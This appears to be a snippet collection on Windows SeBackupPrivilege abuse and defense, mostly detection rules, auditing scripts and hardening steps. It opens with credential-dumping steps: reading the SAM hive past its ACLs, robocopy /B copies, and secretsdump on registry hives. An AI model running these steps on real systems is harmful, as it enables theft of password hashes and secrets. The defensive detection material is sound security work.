SeBackupPrivilege Exploitation and Defense

// Normal file access (respects ACLs)
HANDLE hFile = CreateFile(
    "C:\\Windows\\System32\\config\\SAM",
    GENERIC_READ,
    FILE_SHARE_READ,
    NULL,
    OPEN_EXISTING,
    FILE_ATTRIBUTE_NORMAL,
    NULL
); // This would fail with ACCESS_DENIED

// Backup semantics (bypasses ACLs with SeBackupPrivilege)
HANDLE hFile = CreateFile(
    "C:\\Windows\\System32\\config\\SAM",
    GENERIC_READ,
    FILE_SHARE_READ,
    NULL,
    OPEN_EXISTING,
    FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_SEQUENTIAL_SCAN,
    NULL
); // This succeeds when SeBackupPrivilege is enabled

# Check privileges
whoami /priv

# Expected output if SeBackupPrivilege is available:
# Privilege Name                Description                    State
# ============================= ============================== ========
# SeBackupPrivilege             Back up files and directories  Disabled
# SeRestorePrivilege            Restore files and directories  Disabled
# SeShutdownPrivilege           Shut down the system           Disabled
# SeChangeNotifyPrivilege       Bypass traverse checking       Enabled

# Query Active Directory for BitLocker recovery keys
Get-ADObject -Filter {objectClass -eq 'msFVE-RecoveryInformation'} -Properties * |
  Select-Object msFVE-RecoveryPassword

# Requires SeBackupPrivilege to read protected AD attributes

# Copy EFS encrypted files (remain encrypted)
robocopy /B C:\Users\john\Documents C:\Temp\EFS *.* /E

# Decrypt on system where keys are available
cipher /d C:\Temp\EFS\*.*

# Copy pagefile.sys (contains memory data)
robocopy /B C:\ C:\Temp pagefile.sys

# Copy crash dumps
robocopy /B C:\Windows\Minidump C:\Temp *.dmp

# Analyze with volatility or other memory forensics tools

# Use secretsdump with SECURITY hive
secretsdump.py -security SECURITY -system SYSTEM LOCAL

# Output includes:
# [*] Dumping LSA Secrets
# [*] DefaultPassword
# (Unknown User):SecretPassword123!
# [*] DPAPI_SYSTEM
# dpapi_machinekey:0x...
# dpapi_userkey:0x...

<QueryList>
  <Query Id="0" Path="Security">
    <Select Path="Security">
      *[System[(EventID=4673)]]
      and
      *[EventData[Data[@Name='PrivilegeList']='SeBackupPrivilege']]
    </Select>
  </Query>
</QueryList>

<QueryList>
  <Query Id="0" Path="Security">
    <Select Path="Security">
      *[System[(EventID=4656)]]
      and
      *[EventData[Data[@Name='ObjectName'] and (
        contains(., '\Windows\System32\config\SAM') or
        contains(., '\Windows\System32\config\SYSTEM') or
        contains(., '\Windows\NTDS\ntds.dit')
      )]]
    </Select>
  </Query>
</QueryList>

# Query for SAM/SYSTEM access
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4663} |
  Where-Object {$_.Message -like "*\config\SAM*" -or $_.Message -like "*\config\SYSTEM*"} |
  Select-Object TimeCreated, @{N='User';E={$_.Properties[1].Value}}, @{N='Object';E={$_.Properties[6].Value}}

# Detect ntdsutil, reg.exe, robocopy with suspicious arguments
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4688} |
  Where-Object {
    $_.Properties[5].Value -like "*ntdsutil*" -or
    $_.Properties[5].Value -like "*reg save*" -or
    ($_.Properties[5].Value -like "*robocopy*" -and $_.Properties[5].Value -like "*/B*")
  } |
  Select-Object TimeCreated, @{N='Process';E={$_.Properties[5].Value}}, @{N='User';E={$_.Properties[1].Value}}

<Sysmon schemaversion="4.82">
  <EventFiltering>
    <RuleGroup name="FileCreate" groupRelation="or">
      <FileCreate onmatch="include">
        <TargetFilename condition="contains">ntds.dit</TargetFilename>
        <TargetFilename condition="end with">SAM</TargetFilename>
        <TargetFilename condition="end with">SYSTEM</TargetFilename>
        <TargetFilename condition="end with">SECURITY</TargetFilename>
      </FileCreate>
    </RuleGroup>
  </EventFiltering>
</Sysmon>

# Detect SeBackupPrivilege abuse for NTDS.dit extraction
index=windows (EventCode=4673 OR EventCode=4663 OR EventCode=4688 OR source="*Sysmon*" EventCode=11)
| eval PrivUse=if(EventCode=4673 AND PrivilegeList="SeBackupPrivilege", 1, 0)
| eval FileAccess=if(EventCode=4663 AND (match(ObjectName, "SAM|SYSTEM|ntds\\.dit")), 1, 0)
| eval ProcessExec=if(EventCode=4688 AND (match(CommandLine, "ntdsutil|reg save|robocopy.*\/B")), 1, 0)
| eval FileCreated=if(EventCode=11 AND (match(TargetFilename, "ntds\\.dit|SAM$|SYSTEM$")), 1, 0)
| transaction host maxspan=15m
| where PrivUse=1 AND (FileAccess=1 OR ProcessExec=1 OR FileCreated=1)
| table _time, host, user, PrivilegeList, ObjectName, CommandLine, TargetFilename

// SeBackupPrivilege abuse detection
let BackupPrivUse = SecurityEvent
| where TimeGenerated > ago(1h)
| where EventID == 4673
| where PrivilegeList has "SeBackupPrivilege"
| project TimeGenerated, Computer, SubjectUserName, ProcessName;
let SensitiveFileAccess = SecurityEvent
| where TimeGenerated > ago(1h)
| where EventID in (4656, 4663)
| where ObjectName has_any ("\\SAM", "\\SYSTEM", "\\ntds.dit")
| project TimeGenerated, Computer, SubjectUserName, ObjectName;
let SuspiciousProcess = SecurityEvent
| where TimeGenerated > ago(1h)
| where EventID == 4688
| where CommandLine has_any ("ntdsutil", "reg save", "robocopy /B")
| project TimeGenerated, Computer, SubjectUserName, CommandLine;
BackupPrivUse
| join kind=inner (SensitiveFileAccess) on Computer, SubjectUserName
| join kind=inner (SuspiciousProcess) on Computer, SubjectUserName
| project TimeGenerated, Computer, SubjectUserName, ProcessName, ObjectName, CommandLine
| summarize Events=make_set(EventID), FirstSeen=min(TimeGenerated), LastSeen=max(TimeGenerated) by Computer, SubjectUserName

title: SeBackupPrivilege Abuse for Credential Extraction
status: experimental
description: Detects potential abuse of SeBackupPrivilege to extract SAM, SYSTEM, or NTDS.dit files
references:
  - https://attack.mitre.org/techniques/T1003/002/
  - https://attack.mitre.org/techniques/T1003/003/
logsource:
  product: windows
  service: security
detection:
  selection_privilege:
    EventID: 4673
    PrivilegeList: 'SeBackupPrivilege'
  selection_file:
    EventID: 4663
    ObjectName|contains:
      - '\Windows\System32\config\SAM'
      - '\Windows\System32\config\SYSTEM'
      - '\Windows\NTDS\ntds.dit'
  timeframe: 5m
  condition: selection_privilege and selection_file
falsepositives:
  - Legitimate backup operations
  - System administrators performing maintenance
  - Backup software operations
level: high
tags:
  - attack.credential_access
  - attack.t1003.002
  - attack.t1003.003

# Audit all accounts with SeBackupPrivilege
Function Get-SeBackupPrivilegeHolders {
    $groups = @("Administrators", "Backup Operators", "Server Operators")

    foreach ($group in $groups) {
        try {
            Get-LocalGroupMember -Group $group -ErrorAction Stop |
              Select-Object @{N='Group';E={$group}}, Name, ObjectClass
        } catch {
            # Handle non-existent groups
        }
    }
}

# Create report
Get-SeBackupPrivilegeHolders | Export-Csv -Path "C:\Reports\BackupPrivilegeAudit.csv" -NoTypeInformation

# Implement approval workflow for Backup Operators membership

# Enable auditing on sensitive files
$files = @(
    "C:\Windows\System32\config\SAM",
    "C:\Windows\System32\config\SYSTEM",
    "C:\Windows\System32\config\SECURITY",
    "C:\Windows\NTDS\ntds.dit"
)

foreach ($file in $files) {
    if (Test-Path $file) {
        $acl = Get-Acl $file
        $auditRule = New-Object System.Security.AccessControl.FileSystemAuditRule(
            "Everyone",
            "Read,ReadAndExecute",
            "None",
            "None",
            "Success,Failure"
        )
        $acl.AddAuditRule($auditRule)
        Set-Acl -Path $file -AclObject $acl
    }
}

# Enable Object Access auditing via GPO
auditpol /set /subcategory:"File System" /success:enable /failure:enable

# Monitor sensitive files for unauthorized access
# Configure SIEM to alert on:
# - SAM/SYSTEM access outside maintenance windows
# - NTDS.dit reads outside backup schedules
# - Registry hive exports

# Example: PowerShell FIM script
$files = @(
    "C:\Windows\System32\config\SAM",
    "C:\Windows\System32\config\SYSTEM",
    "C:\Windows\NTDS\ntds.dit"
)

foreach ($file in $files) {
    $watcher = New-Object System.IO.FileSystemWatcher
    $watcher.Path = [System.IO.Path]::GetDirectoryName($file)
    $watcher.Filter = [System.IO.Path]::GetFileName($file)
    $watcher.EnableRaisingEvents = $true

    Register-ObjectEvent -InputObject $watcher -EventName Changed -Action {
        Write-Warning "ALERT: Sensitive file accessed: $($Event.SourceEventArgs.FullPath)"
        # Send to SIEM
    }
}

# Use AppLocker or WDAC to restrict ntdsutil, reg.exe access
# Only allow on authorized jump boxes with privileged access

# Example AppLocker rule:
$rule = @"
<FilePublisherRule Id="..." Name="Block ntdsutil" Description="Prevent unauthorized ntdsutil execution" UserOrGroupSid="S-1-1-0" Action="Deny">
  <Conditions>
    <FilePublisherCondition PublisherName="Microsoft Corporation" ProductName="ntdsutil" BinaryName="ntdsutil.exe"/>
  </Conditions>
</FilePublisherRule>
"@

# Deploy via GPO:
# Computer Configuration > Policies > Windows Settings > Security Settings > Application Control Policies > AppLocker

# Implement dedicated backup network/VLAN
# Restrict backup account access to specific subnets

# Example: Firewall rule allowing backup traffic only from backup servers
New-NetFirewallRule -DisplayName "Backup - Allow SMB from Backup Servers" -Direction Inbound -Protocol TCP -LocalPort 445 -Action Allow -RemoteAddress "10.10.100.0/24"
New-NetFirewallRule -DisplayName "Backup - Block SMB from All Others" -Direction Inbound -Protocol TCP -LocalPort 445 -Action Block

# Restrict where backup operations can be performed
# Use dedicated PAWs for all privileged operations
# No internet access, email, or productivity tools on PAWs

# Configure Authentication Policies (Windows Server 2012 R2+)
New-ADAuthenticationPolicy -Name "Backup Operators Policy" -UserAllowedToAuthenticateFrom "O:SYG:SYD:(XA;;CR;;;WD;(@USER.ad://ext/AuthenticationSilo == `"BackupSilo`"))"

# Apply to backup accounts
Set-ADUser -Identity backup_user -AuthenticationPolicy "Backup Operators Policy"

# Implement Just-In-Time (JIT) access for backup operations
Function Grant-TemporaryBackupPrivilege {
    param(
        [string]$Username,
        [int]$DurationHours = 4,
        [string]$Ticket,
        [string]$Approver
    )

    # Require approval
    if (-not (Test-ApprovalStatus -Ticket $Ticket -Approver $Approver)) {
        Write-Error "Approval required for backup privilege grant"
        return
    }

    # Add to Backup Operators
    Add-LocalGroupMember -Group "Backup Operators" -Member $Username

    # Log the grant
    @{
        Timestamp = Get-Date
        User = $Username
        Duration = $DurationHours
        Ticket = $Ticket
        Approver = $Approver
        GrantedBy = $env:USERNAME
    } | Export-Csv -Path "C:\Logs\BackupPrivilegeGrants.csv" -Append -NoTypeInformation

    # Schedule automatic removal
    $removalTime = (Get-Date).AddHours($DurationHours)
    $trigger = New-JobTrigger -Once -At $removalTime
    Register-ScheduledJob -Name "RemoveBackupPriv_$Username" -Trigger $trigger -ScriptBlock {
        param($user)
        Remove-LocalGroupMember -Group "Backup Operators" -Member $user
        Write-EventLog -LogName Application -Source "BackupPrivManager" -EventId 1002 -Message "Removed $user from Backup Operators (JIT access expired)"
    } -ArgumentList $Username

    Write-Host "Granted backup privilege to $Username until $removalTime"
}

# Continuous monitoring script for SeBackupPrivilege abuse
Function Start-BackupPrivilegeMonitoring {
    while ($true) {
        # Monitor privilege usage
        $privEvents = Get-WinEvent -FilterHashtable @{LogName='Security';ID=4673;StartTime=(Get-Date).AddMinutes(-5)} -ErrorAction SilentlyContinue |
          Where-Object {$_.Message -like "*SeBackupPrivilege*"}

        if ($privEvents) {
            foreach ($event in $privEvents) {
                $user = $event.Properties[1].Value
                $process = $event.Properties[7].Value

                Write-Warning "SeBackupPrivilege used by $user in process $process"

                # Alert security team
                Send-MailMessage -To "[email protected]" -Subject "SeBackupPrivilege Usage Alert" -Body "User: $user, Process: $process, Time: $($event.TimeCreated)"
            }
        }

        # Monitor sensitive file access
        $fileEvents = Get-WinEvent -FilterHashtable @{LogName='Security';ID=4663;StartTime=(Get-Date).AddMinutes(-5)} -ErrorAction SilentlyContinue |
          Where-Object {$_.Message -match "\\(SAM|SYSTEM|SECURITY|ntds\\.dit)"}

        if ($fileEvents) {
            foreach ($event in $fileEvents) {
                Write-Error "CRITICAL: Sensitive file accessed: $($event.Properties[6].Value) by $($event.Properties[1].Value)"

                # Immediate escalation
                Send-MailMessage -To "[email protected]" -Subject "CRITICAL: Credential Database Access" -Priority High -Body "File: $($event.Properties[6].Value), User: $($event.Properties[1].Value)"
            }
        }

        Start-Sleep -Seconds 60
    }
}

# Run in background
Start-Job -ScriptBlock ${Function:Start-BackupPrivilegeMonitoring} -Name "BackupPrivMonitor"

# 1. Encrypt NTDS.dit at rest (BitLocker)
Enable-BitLocker -MountPoint "C:" -EncryptionMethod XtsAes256 -RecoveryPasswordProtector

# 2. Implement EFS for additional protection
cipher /e /s:C:\Windows\NTDS

# 3. Deploy file system auditing
# Already covered in mitigation strategies

# 4. Use Windows Defender Credential Guard
# Prevents credential theft even if attacker has SeBackupPrivilege on domain controllers
# Requires Windows Server 2016+ or Windows 10 Enterprise

# Enable via Group Policy:
# Computer Configuration > Administrative Templates > System > Device Guard
# "Turn On Virtualization Based Security" = Enabled
# "Credential Guard Configuration" = Enabled with UEFI lock

# Verify Credential Guard is running
Get-ComputerInfo | Select-Object DeviceGuardSecurityServicesConfigured

# 1. Use dedicated service accounts for backups (not user accounts)
New-ADUser -Name "svc_backup" -ServicePrincipalNames "backup/server01" -AccountPassword (ConvertTo-SecureString "ComplexP@ss!" -AsPlainText -Force)

# 2. Restrict backup account logon locations
Set-ADUser -Identity svc_backup -LogonWorkstations "BACKUP01,BACKUP02"

# 3. Implement scheduled backup windows
# Only allow SeBackupPrivilege usage during approved times

Function Test-BackupWindow {
    $currentTime = Get-Date
    $backupStart = Get-Date -Hour 23 -Minute 0 -Second 0
    $backupEnd = Get-Date -Hour 6 -Minute 0 -Second 0

    if ($currentTime -ge $backupStart -or $currentTime -le $backupEnd) {
        return $true
    }
    return $false
}

# 4. Encrypt backup data in transit and at rest
# Use tools like Veeam, Commvault with encryption enabled

# 5. Implement backup data integrity verification
# Hash verification to detect tampering

# Protect Azure AD Connect sync account
# This account has extensive AD permissions

# Enable PHS (Password Hash Synchronization) protection
# Use PIM (Privileged Identity Management) for sync account access